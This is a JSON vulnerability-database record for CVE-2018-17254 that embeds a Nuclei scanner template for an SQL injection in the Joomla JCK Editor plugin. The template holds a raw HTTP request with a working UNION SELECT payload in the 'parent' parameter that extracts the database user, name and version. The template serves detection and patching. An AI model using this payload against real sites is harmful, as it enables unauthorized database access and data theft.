{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2018-17254/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2018-17254/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2018-17254/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2018-17254/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2018-17254/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2018-17254"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2018-17254"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2018/CVE-2018-17254.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2018-17254\n\ninfo:\n  name: Joomla! JCK Editor SQL Injection\n  author: Suman_Kar\n  severity: critical\n  description: The JCK Editor component 6.4.4 for Joomla! allows SQL Injection via the jtreelink/dialogs/links.php parent parameter.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.\n  remediation: Update or remove the affected plugin.\n  reference:\n    - http://packetstormsecurity.com/files/161683/Joomla-JCK-Editor-6.4.4-SQL-Injection.html\n    - https://www.exploit-db.com/exploits/45423/\n    - https://github.com/Nickguitar/Joomla-JCK-Editor-6.4.4-SQL-Injection\n    - https://github.com/ARPSyndicate/cvemon\n    - https://github.com/ARPSyndicate/kenzer-templates\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2018-17254\n    cwe-id: CWE-89\n    epss-score: 0.82976\n    epss-percentile: 0.99658\n    cpe: cpe:2.3:a:arkextensions:jck_editor:6.4.4:*:*:*:*:joomla\\!:*:*\n  metadata:\n    max-request: 1\n    vendor: arkextensions\n    product: jck_editor\n    framework: joomla\\!\n  tags: cve,cve2018,packetstorm,edb,joomla,sqli,arkextensions,joomla\\!,vkev,vuln\nvariables:\n  num: \"999999999\"\n\nhttp:\n  - raw:\n      - |\n        GET /plugins/editors/jckeditor/plugins/jtreelink/dialogs/links.php?extension=menu&view=menu&parent=\"%20UNION%20SELECT%20NULL,NULL,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION(),md5({{num}})),NULL,NULL,NULL,NULL,NULL--%20aa HTTP/1.1\n        Host: {{Hostname}}\n        Referer: {{BaseURL}}\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '{{md5(num)}}'\n# digest: 490a0046304402201a0b98954582ecc87ea9f26f241aa81e09d61cc5d61883f1dc8cb906f7f4de4302206ea47758d61a4a7f4cd355fc84310907c6e526f91dab56d7851d6978cc981f50:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2018-17254"
}